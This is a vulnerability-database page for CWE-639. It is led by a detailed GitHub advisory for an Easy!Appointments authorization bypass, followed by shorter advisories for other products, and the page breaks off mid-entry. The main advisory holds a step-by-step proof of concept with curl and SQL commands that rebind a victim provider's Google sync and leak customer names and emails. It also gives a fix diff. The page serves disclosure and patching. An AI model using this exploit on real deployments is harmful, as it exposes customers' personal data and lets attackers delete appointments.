Common Weakness Enumeration

CWE-639

Allowed

Authorization Bypass Through User-Controlled Key

Abstraction: Base · Status: Incomplete

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

5434 vulnerabilities reference this CWE, most recent first.

GHSA-8HM4-R66F-29WR

Vulnerability from github – Published: 2026-07-29 16:29 – Updated: 2026-07-29 16:29
VLAI
Summary
Easy!Appointments: Authorization bypass in Google OAuth provider binding lets any backend user rebind a peer provider's Google sync
Details

Summary

Google::oauth at application/controllers/Google.php:278 stores its URL-supplied provider_id in the session, and oauth_callback saves the issued Google OAuth token against that row without checking the caller owns the provider. Any logged-in backend user (admin, provider, or secretary) rebinds a peer provider's Google sync to a Google account they control. The peer's appointments then sync into the attacker's calendar with each customer's name and email attached as attendee data.

Preconditions

  • Attacker holds a backend login on the target instance (admin, provider, or secretary). The customer role cannot log in.
  • The instance has Google Calendar OAuth configured at application/config/google.php - i.e. any deployment that uses the Google sync feature at all.
  • Default deployment per the project's own docker-compose.yml; no non-default flags required.

Details

// application/controllers/Google.php:278-289
public function oauth(string $provider_id): void
{
    if (!$this->session->userdata('user_id')) {
        show_error('Forbidden', 403);
    }

    // Store the provider id for use on the callback function.
    session(['oauth_provider_id' => $provider_id]);                       // (*) attacker-chosen id stored unchecked

    // Redirect browser to google user content page.
    header('Location: ' . $this->google_sync->get_auth_url());
}
// application/controllers/Google.php:305-337
public function oauth_callback(): void
{
    if (!session('user_id')) {
        abort(403, 'Forbidden');
    }

    $code = request('code');
    if (empty($code)) { response('Code authorization failed.'); return; }

    $token = $this->google_sync->authenticate($code);
    if (empty($token)) { response('Token authorization failed.'); return; }

    $oauth_provider_id = session('oauth_provider_id');
    if ($oauth_provider_id) {
        $this->providers_model->set_setting($oauth_provider_id, 'google_sync', true);                  // (*)
        $this->providers_model->set_setting($oauth_provider_id, 'google_token', json_encode($token));  // (*)
        $this->providers_model->set_setting($oauth_provider_id, 'google_calendar', 'primary');
    } else {
        response('Sync provider id not specified.');
    }
}

The same controller already carries the right gate on every other sync-management entry. select_google_calendar at application/controllers/Google.php:389 and disable_provider_sync at application/controllers/Google.php:423 both refuse the call when the caller is neither an admin nor the provider themselves:

// application/controllers/Google.php:389
if (cannot('edit', PRIV_USERS) && (int) $user_id !== (int) $provider_id) {
    throw new RuntimeException('You do not have the required permissions for this task.');
}

oauth and oauth_callback skip that check. Once the callback runs with oauth_provider_id pointing at a peer provider, the peer's user_settings row is overwritten with the attacker's OAuth token and google_sync is forcibly enabled.

The attack chain that delivers the data:

  • Synchronization::sync_appointment_saved at application/libraries/Synchronization.php:51 runs on every booking save. The path includes the unauthenticated public booking flow (Booking::register at application/controllers/Booking.php:463) and the backend save (Calendar::save_appointment at application/controllers/Calendar.php:306). When $provider['settings']['google_sync'] is truthy the handler reads google_token from the row - now the attacker's - refreshes it, and calls Google_sync::add_appointment.
  • Google_sync::add_appointment at application/libraries/Google_sync.php:184-189 adds the customer as a Google calendar attendee with their first name, last name, and email.
  • The cron-triggered Console::sync -> Google::sync($provider_id) at application/controllers/Google.php:44 walks the existing sync_past_days and sync_future_days windows and pushes every appointment to the attacker's calendar.
  • The same loop deletes the local row whenever the remote event throws or is cancelled (application/controllers/Google.php:186-191); the attacker rolls events out of their Google calendar to delete the victim provider's appointments. Events the attacker creates in their own calendar arrive as unavailability records on the victim's schedule (application/controllers/Google.php:209-254).

Proof of concept

Setup

  1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:

bash git clone https://github.com/alextselegidis/easyappointments cd easyappointments git checkout 1.5.2 cp config-sample.php config.php docker compose up -d until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done

  1. Run the console installer. The seed sets administrator's password to the literal string administrator (see application/libraries/Instance.php:99):

bash docker compose exec -T php-fpm php index.php console install

  1. Configure the install's Google OAuth client. Paste the client id and secret from a Google Cloud project you control into application/config/google.php and add http://localhost/index.php/google/oauth_callback to the project's authorized redirect URIs. This step is already done on any deployment that uses Google sync.

  2. Log in as administrator and persist the cookie jar (the project's session cookie is ea_session):

bash export ADMIN_JAR=/tmp/admin.cookies curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR) curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "username=administrator" \ --data-urlencode "password=administrator" > /dev/null

  1. Create the attacker provider (the default require_phone_number=1 setting makes that field mandatory). Capture both ids:

bash CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR) curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode 'provider[first_name]=Mal' \ --data-urlencode 'provider[last_name]=Lory' \ --data-urlencode 'provider[email]=mallory@x.test' \ --data-urlencode 'provider[phone_number]=+10000000000' \ --data-urlencode 'provider[timezone]=UTC' \ --data-urlencode 'provider[language]=english' \ --data-urlencode 'provider[settings][username]=mallory' \ --data-urlencode 'provider[settings][password]=Attacker-pw-1' \ --data-urlencode 'provider[settings][notifications]=0' export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \ -e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'") export VICTIM_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \ -e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='janedoe'")

  1. Log in as the attacker provider into a dedicated cookie jar:

bash export ATTACKER_JAR=/tmp/attacker.cookies curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR) curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "username=mallory" \ --data-urlencode "password=Attacker-pw-1" > /dev/null

Exploit

  1. The attacker, logged in as a regular provider with id $ATTACKER_ID, points /google/oauth/ at the victim provider's id $VICTIM_ID:

bash curl -si -b $ATTACKER_JAR "http://localhost/index.php/google/oauth/$VICTIM_ID" | head -5

Expected: HTTP/1.1 302 Found with Location: https://accounts.google.com/o/oauth2/auth?... - the server accepted the call from a non-owning caller. Verify the session-side effect on disk: docker compose exec -T php-fpm cat storage/sessions/ea_session$(awk '$6=="ea_session"{print $7}' $ATTACKER_JAR) shows oauth_provider_id|s:1:"<VICTIM_ID>" appended to the attacker's session data alongside their own user_id|i:<ATTACKER_ID>.

  1. The attacker copies the ea_session cookie from $ATTACKER_JAR into a real browser, opens the redirect URL, signs in to Google with their own Google account, and grants consent. Google redirects back to http://localhost/index.php/google/oauth_callback?code=... and the app exchanges the code for an access + refresh token.

  2. Confirm the row was rebound. The token, sync flag, and calendar selection now belong to the attacker's Google account but sit on the victim's ea_user_settings:

bash docker compose exec -T mysql mysql -uuser -ppassword easyappointments \ -e "SELECT name, value FROM ea_user_settings WHERE id_users=$VICTIM_ID AND name IN ('google_sync','google_token','google_calendar')"

Expected: google_sync = 1, google_token = {"access_token":"...","refresh_token":"..."} (attacker's), google_calendar = primary.

  1. Trigger a sync. Any unauthenticated booking against the victim provider now lands in the attacker's calendar:

bash CSRF=$(awk '$6=="csrf_cookie"{print $7}' /tmp/booking.cookies) curl -s -c /tmp/booking.cookies http://localhost/ -o /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' /tmp/booking.cookies) curl -s -b /tmp/booking.cookies -X POST http://localhost/index.php/booking/register \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "post_data[manage_mode]=false" \ --data-urlencode "post_data[appointment][id_users_provider]=$VICTIM_ID" \ --data-urlencode "post_data[appointment][id_services]=1" \ --data-urlencode "post_data[appointment][start_datetime]=2026-06-01 10:00:00" \ --data-urlencode "post_data[appointment][end_datetime]=2026-06-01 10:30:00" \ --data-urlencode "post_data[customer][first_name]=Carol" \ --data-urlencode "post_data[customer][last_name]=Victim" \ --data-urlencode "post_data[customer][email]=carol@target.test"

Expected: the attacker's Google calendar receives a new event whose title is the service name, with Carol Victim <carol@target.test> listed as an attendee.

Impact

  • Confidentiality: Reads every appointment booked against the victim provider; the customer's first name, last name, and email attach to each Google calendar event as attendee data (Google_sync.php:184-189).
  • Integrity: Deletes any of the victim provider's appointments by removing the matching event from the attacker's calendar; the next Console::sync removes the local row (Google.php:186-191).
  • Integrity: Inserts arbitrary unavailability records onto the victim provider's schedule by creating events in the attacker's calendar (Google.php:209-254).

Suggestions to fix

This has not been tested - it is illustrative only.

Reject the call unless the caller is an admin or the provider whose row is about to be rewritten - the same gate select_google_calendar and disable_provider_sync already use.

 public function oauth(string $provider_id): void
 {
     if (!$this->session->userdata('user_id')) {
         show_error('Forbidden', 403);
     }

+    if (cannot('edit', PRIV_USERS) && (int) session('user_id') !== (int) $provider_id) {
+        abort(403, 'Forbidden');
+    }
+
     // Store the provider id for use on the callback function.
     session(['oauth_provider_id' => $provider_id]);

     // Redirect browser to google user content page.
     header('Location: ' . $this->google_sync->get_auth_url());
 }

Credit

Dredsen, 2026.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "alextselegidis/easyappointments"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52841"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T16:29:26Z",
    "nvd_published_at": "2026-07-14T16:17:00Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\n`Google::oauth` at `application/controllers/Google.php:278` stores its URL-supplied `provider_id` in the session, and `oauth_callback` saves the issued Google OAuth token against that row without checking the caller owns the provider. Any logged-in backend user (admin, provider, or secretary) rebinds a peer provider\u0027s Google sync to a Google account they control. The peer\u0027s appointments then sync into the attacker\u0027s calendar with each customer\u0027s name and email attached as attendee data.\n\n### Preconditions\n\n- Attacker holds a backend login on the target instance (admin, provider, or secretary). The customer role cannot log in.\n- The instance has Google Calendar OAuth configured at `application/config/google.php` - i.e. any deployment that uses the Google sync feature at all.\n- Default deployment per the project\u0027s own `docker-compose.yml`; no non-default flags required.\n\n### Details\n\n```php\n// application/controllers/Google.php:278-289\npublic function oauth(string $provider_id): void\n{\n    if (!$this-\u003esession-\u003euserdata(\u0027user_id\u0027)) {\n        show_error(\u0027Forbidden\u0027, 403);\n    }\n\n    // Store the provider id for use on the callback function.\n    session([\u0027oauth_provider_id\u0027 =\u003e $provider_id]);                       // (*) attacker-chosen id stored unchecked\n\n    // Redirect browser to google user content page.\n    header(\u0027Location: \u0027 . $this-\u003egoogle_sync-\u003eget_auth_url());\n}\n```\n\n```php\n// application/controllers/Google.php:305-337\npublic function oauth_callback(): void\n{\n    if (!session(\u0027user_id\u0027)) {\n        abort(403, \u0027Forbidden\u0027);\n    }\n\n    $code = request(\u0027code\u0027);\n    if (empty($code)) { response(\u0027Code authorization failed.\u0027); return; }\n\n    $token = $this-\u003egoogle_sync-\u003eauthenticate($code);\n    if (empty($token)) { response(\u0027Token authorization failed.\u0027); return; }\n\n    $oauth_provider_id = session(\u0027oauth_provider_id\u0027);\n    if ($oauth_provider_id) {\n        $this-\u003eproviders_model-\u003eset_setting($oauth_provider_id, \u0027google_sync\u0027, true);                  // (*)\n        $this-\u003eproviders_model-\u003eset_setting($oauth_provider_id, \u0027google_token\u0027, json_encode($token));  // (*)\n        $this-\u003eproviders_model-\u003eset_setting($oauth_provider_id, \u0027google_calendar\u0027, \u0027primary\u0027);\n    } else {\n        response(\u0027Sync provider id not specified.\u0027);\n    }\n}\n```\n\nThe same controller already carries the right gate on every other sync-management entry. `select_google_calendar` at `application/controllers/Google.php:389` and `disable_provider_sync` at `application/controllers/Google.php:423` both refuse the call when the caller is neither an admin nor the provider themselves:\n\n```php\n// application/controllers/Google.php:389\nif (cannot(\u0027edit\u0027, PRIV_USERS) \u0026\u0026 (int) $user_id !== (int) $provider_id) {\n    throw new RuntimeException(\u0027You do not have the required permissions for this task.\u0027);\n}\n```\n\n`oauth` and `oauth_callback` skip that check. Once the callback runs with `oauth_provider_id` pointing at a peer provider, the peer\u0027s `user_settings` row is overwritten with the attacker\u0027s OAuth token and `google_sync` is forcibly enabled.\n\nThe attack chain that delivers the data:\n\n- `Synchronization::sync_appointment_saved` at `application/libraries/Synchronization.php:51` runs on every booking save. The path includes the unauthenticated public booking flow (`Booking::register` at `application/controllers/Booking.php:463`) and the backend save (`Calendar::save_appointment` at `application/controllers/Calendar.php:306`). When `$provider[\u0027settings\u0027][\u0027google_sync\u0027]` is truthy the handler reads `google_token` from the row - now the attacker\u0027s - refreshes it, and calls `Google_sync::add_appointment`.\n- `Google_sync::add_appointment` at `application/libraries/Google_sync.php:184-189` adds the customer as a Google calendar attendee with their first name, last name, and email.\n- The cron-triggered `Console::sync` -\u003e `Google::sync($provider_id)` at `application/controllers/Google.php:44` walks the existing `sync_past_days` and `sync_future_days` windows and pushes every appointment to the attacker\u0027s calendar.\n- The same loop deletes the local row whenever the remote event throws or is `cancelled` (`application/controllers/Google.php:186-191`); the attacker rolls events out of their Google calendar to delete the victim provider\u0027s appointments. Events the attacker creates in their own calendar arrive as unavailability records on the victim\u0027s schedule (`application/controllers/Google.php:209-254`).\n\n### Proof of concept\n\n**Setup**\n\n1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:\n\n   ```bash\n   git clone https://github.com/alextselegidis/easyappointments\n   cd easyappointments\n   git checkout 1.5.2\n   cp config-sample.php config.php\n   docker compose up -d\n   until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done\n   ```\n\n2. Run the console installer. The seed sets administrator\u0027s password to the literal string `administrator` (see `application/libraries/Instance.php:99`):\n\n   ```bash\n   docker compose exec -T php-fpm php index.php console install\n   ```\n\n3. Configure the install\u0027s Google OAuth client. Paste the client id and secret from a Google Cloud project you control into `application/config/google.php` and add `http://localhost/index.php/google/oauth_callback` to the project\u0027s authorized redirect URIs. This step is already done on any deployment that uses Google sync.\n\n4. Log in as `administrator` and persist the cookie jar (the project\u0027s session cookie is `ea_session`):\n\n   ```bash\n   export ADMIN_JAR=/tmp/admin.cookies\n   curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null\n   CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 $ADMIN_JAR)\n   curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"username=administrator\" \\\n     --data-urlencode \"password=administrator\" \u003e /dev/null\n   ```\n\n5. Create the attacker provider (the default `require_phone_number=1` setting makes that field mandatory). Capture both ids:\n\n   ```bash\n   CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 $ADMIN_JAR)\n   curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \u0027provider[first_name]=Mal\u0027 \\\n     --data-urlencode \u0027provider[last_name]=Lory\u0027 \\\n     --data-urlencode \u0027provider[email]=mallory@x.test\u0027 \\\n     --data-urlencode \u0027provider[phone_number]=+10000000000\u0027 \\\n     --data-urlencode \u0027provider[timezone]=UTC\u0027 \\\n     --data-urlencode \u0027provider[language]=english\u0027 \\\n     --data-urlencode \u0027provider[settings][username]=mallory\u0027 \\\n     --data-urlencode \u0027provider[settings][password]=Attacker-pw-1\u0027 \\\n     --data-urlencode \u0027provider[settings][notifications]=0\u0027\n   export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \\\n     -e \"SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username=\u0027mallory\u0027\")\n   export VICTIM_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \\\n     -e \"SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username=\u0027janedoe\u0027\")\n   ```\n\n6. Log in as the attacker provider into a dedicated cookie jar:\n\n   ```bash\n   export ATTACKER_JAR=/tmp/attacker.cookies\n   curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null\n   CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 $ATTACKER_JAR)\n   curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"username=mallory\" \\\n     --data-urlencode \"password=Attacker-pw-1\" \u003e /dev/null\n   ```\n\n**Exploit**\n\n1. The attacker, logged in as a regular provider with id `$ATTACKER_ID`, points `/google/oauth/` at the victim provider\u0027s id `$VICTIM_ID`:\n\n   ```bash\n   curl -si -b $ATTACKER_JAR \"http://localhost/index.php/google/oauth/$VICTIM_ID\" | head -5\n   ```\n\n   Expected: `HTTP/1.1 302 Found` with `Location: https://accounts.google.com/o/oauth2/auth?...` - the server accepted the call from a non-owning caller. Verify the session-side effect on disk: `docker compose exec -T php-fpm cat storage/sessions/ea_session$(awk \u0027$6==\"ea_session\"{print $7}\u0027 $ATTACKER_JAR)` shows `oauth_provider_id|s:1:\"\u003cVICTIM_ID\u003e\"` appended to the attacker\u0027s session data alongside their own `user_id|i:\u003cATTACKER_ID\u003e`.\n\n2. The attacker copies the `ea_session` cookie from `$ATTACKER_JAR` into a real browser, opens the redirect URL, signs in to Google with their own Google account, and grants consent. Google redirects back to `http://localhost/index.php/google/oauth_callback?code=...` and the app exchanges the code for an access + refresh token.\n\n3. Confirm the row was rebound. The token, sync flag, and calendar selection now belong to the attacker\u0027s Google account but sit on the victim\u0027s `ea_user_settings`:\n\n   ```bash\n   docker compose exec -T mysql mysql -uuser -ppassword easyappointments \\\n     -e \"SELECT name, value FROM ea_user_settings WHERE id_users=$VICTIM_ID AND name IN (\u0027google_sync\u0027,\u0027google_token\u0027,\u0027google_calendar\u0027)\"\n   ```\n\n   Expected: `google_sync = 1`, `google_token = {\"access_token\":\"...\",\"refresh_token\":\"...\"}` (attacker\u0027s), `google_calendar = primary`.\n\n4. Trigger a sync. Any unauthenticated booking against the victim provider now lands in the attacker\u0027s calendar:\n\n   ```bash\n   CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 /tmp/booking.cookies)\n   curl -s -c /tmp/booking.cookies http://localhost/ -o /dev/null\n   CSRF=$(awk \u0027$6==\"csrf_cookie\"{print $7}\u0027 /tmp/booking.cookies)\n   curl -s -b /tmp/booking.cookies -X POST http://localhost/index.php/booking/register \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"post_data[manage_mode]=false\" \\\n     --data-urlencode \"post_data[appointment][id_users_provider]=$VICTIM_ID\" \\\n     --data-urlencode \"post_data[appointment][id_services]=1\" \\\n     --data-urlencode \"post_data[appointment][start_datetime]=2026-06-01 10:00:00\" \\\n     --data-urlencode \"post_data[appointment][end_datetime]=2026-06-01 10:30:00\" \\\n     --data-urlencode \"post_data[customer][first_name]=Carol\" \\\n     --data-urlencode \"post_data[customer][last_name]=Victim\" \\\n     --data-urlencode \"post_data[customer][email]=carol@target.test\"\n   ```\n\n   Expected: the attacker\u0027s Google calendar receives a new event whose title is the service name, with `Carol Victim \u003ccarol@target.test\u003e` listed as an attendee.\n\n### Impact\n\n- **Confidentiality:** Reads every appointment booked against the victim provider; the customer\u0027s first name, last name, and email attach to each Google calendar event as attendee data (`Google_sync.php:184-189`).\n- **Integrity:** Deletes any of the victim provider\u0027s appointments by removing the matching event from the attacker\u0027s calendar; the next `Console::sync` removes the local row (`Google.php:186-191`).\n- **Integrity:** Inserts arbitrary unavailability records onto the victim provider\u0027s schedule by creating events in the attacker\u0027s calendar (`Google.php:209-254`).\n\n### Suggestions to fix\n\n\u003e _This has not been tested - it is illustrative only._\n\nReject the call unless the caller is an admin or the provider whose row is about to be rewritten - the same gate `select_google_calendar` and `disable_provider_sync` already use.\n\n```diff\n public function oauth(string $provider_id): void\n {\n     if (!$this-\u003esession-\u003euserdata(\u0027user_id\u0027)) {\n         show_error(\u0027Forbidden\u0027, 403);\n     }\n\n+    if (cannot(\u0027edit\u0027, PRIV_USERS) \u0026\u0026 (int) session(\u0027user_id\u0027) !== (int) $provider_id) {\n+        abort(403, \u0027Forbidden\u0027);\n+    }\n+\n     // Store the provider id for use on the callback function.\n     session([\u0027oauth_provider_id\u0027 =\u003e $provider_id]);\n\n     // Redirect browser to google user content page.\n     header(\u0027Location: \u0027 . $this-\u003egoogle_sync-\u003eget_auth_url());\n }\n```\n\n### Credit\n\nDredsen, 2026.",
  "id": "GHSA-8hm4-r66f-29wr",
  "modified": "2026-07-29T16:29:26Z",
  "published": "2026-07-29T16:29:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-8hm4-r66f-29wr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52841"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/commit/4b2d245d2cd2058dc76e05f6eb65b26699268471"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/alextselegidis/easyappointments"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Easy!Appointments: Authorization bypass in Google OAuth provider binding lets any backend user rebind a peer provider\u0027s Google sync"
}

GHSA-8HRF-667W-43RM

Vulnerability from github – Published: 2025-12-30 12:30 – Updated: 2026-01-20 15:32
VLAI
Details

Authorization Bypass Through User-Controlled Key vulnerability in SimpleCalendar Google Calendar Events google-calendar-events allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Google Calendar Events: from n/a through <= 3.5.9.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-68979"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-30T11:15:56Z",
    "severity": "HIGH"
  },
  "details": "Authorization Bypass Through User-Controlled Key vulnerability in SimpleCalendar Google Calendar Events google-calendar-events allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Google Calendar Events: from n/a through \u003c= 3.5.9.",
  "id": "GHSA-8hrf-667w-43rm",
  "modified": "2026-01-20T15:32:43Z",
  "published": "2025-12-30T12:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68979"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/google-calendar-events/vulnerability/wordpress-google-calendar-events-plugin-3-5-9-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/Wordpress/Plugin/google-calendar-events/vulnerability/wordpress-google-calendar-events-plugin-3-5-9-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8HRJ-832H-352V

Vulnerability from github – Published: 2024-07-09 12:30 – Updated: 2024-07-09 12:30
VLAI
Details

A BOLA vulnerability in GET, PUT, DELETE /categories/{categoryId} allows a low privileged user to fetch, modify or delete the category of any user (including admin). This results in unauthorized access and unauthorized data manipulation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-38047"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-09T11:15:10Z",
    "severity": "HIGH"
  },
  "details": "A BOLA vulnerability in GET, PUT, DELETE /categories/{categoryId} allows a low privileged user to fetch, modify or delete the category of any user (including admin). This results in unauthorized access and unauthorized data manipulation.",
  "id": "GHSA-8hrj-832h-352v",
  "modified": "2024-07-09T12:30:56Z",
  "published": "2024-07-09T12:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38047"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8J4G-7P6H-W548

Vulnerability from github – Published: 2025-07-22 15:32 – Updated: 2025-11-05 00:31
VLAI
Details

An authorization bypass vulnerability exists in ETQ Reliance (legacy CG and NXG SaaS platforms). By appending a specific URI suffix to certain API endpoints, an unauthenticated attacker can bypass access control checks and retrieve limited sensitive resources. The root cause was a misconfiguration in API authorization logic, which has since been corrected in SE.2025.1 and 2025.1.2.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-34140"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-22T13:15:23Z",
    "severity": "HIGH"
  },
  "details": "An authorization bypass vulnerability exists in ETQ Reliance (legacy CG and NXG SaaS platforms). By appending a specific URI suffix to certain API endpoints, an unauthenticated attacker can bypass access control checks and retrieve limited sensitive resources. The root cause was a misconfiguration in API authorization logic, which has since been corrected in SE.2025.1 and 2025.1.2.",
  "id": "GHSA-8j4g-7p6h-w548",
  "modified": "2025-11-05T00:31:22Z",
  "published": "2025-07-22T15:32:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34140"
    },
    {
      "type": "WEB",
      "url": "https://www.etq.com/blog/etq-reliance-security-update"
    },
    {
      "type": "WEB",
      "url": "https://www.etq.com/product-overview"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/etq-reliance-cg-nxg-api-authorization-bypass-via-localized-text-uri-suffix"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8J5P-6PF5-6PQC

Vulnerability from github – Published: 2026-08-13 12:31 – Updated: 2026-08-13 12:31
VLAI
Details

SiYuan before v3.7.4 contains an information disclosure vulnerability in the local storage filter that returns the administrator's entire storage map with only three keys sanitized. Unauthenticated attackers or publish readers can retrieve closed-tab history, search keywords, private document identifiers, and expanded folder paths by calling the getLocalStorage endpoint.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-73610"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-13T12:17:25Z",
    "severity": "MODERATE"
  },
  "details": "SiYuan before v3.7.4 contains an information disclosure vulnerability in the local storage filter that returns the administrator\u0027s entire storage map with only three keys sanitized. Unauthenticated attackers or publish readers can retrieve closed-tab history, search keywords, private document identifiers, and expanded folder paths by calling the getLocalStorage endpoint.",
  "id": "GHSA-8j5p-6pf5-6pqc",
  "modified": "2026-08-13T12:31:10Z",
  "published": "2026-08-13T12:31:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-xp3q-r38w-vgqm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73610"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/siyuan-before-information-disclosure-via-local-storage"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8JHH-JCQG-MJ5P

Vulnerability from github – Published: 2026-03-13 15:47 – Updated: 2026-03-13 15:48
VLAI
Summary
OpenClaw: Channel commands could bypass account-scoped `configWrites` restrictions
Details

Summary

In affected versions of openclaw, channel-initiated config mutations were authorized against the originating account's configWrites policy but did not consistently re-check the targeted account scope. An authorized sender on one account could mutate protected sibling-account configuration when the target account had configWrites: false.

Impact

This is an account-scoped policy bypass inside a single gateway deployment. Channel commands such as /config set channels.<provider>.accounts.<id>... and config-backed /allowlist ... --config --account <id> could modify protected sibling-account configuration.

Affected Packages and Versions

  • Package: openclaw (npm)
  • Affected versions: <= 2026.3.8
  • Fixed in: 2026.3.11

Technical Details

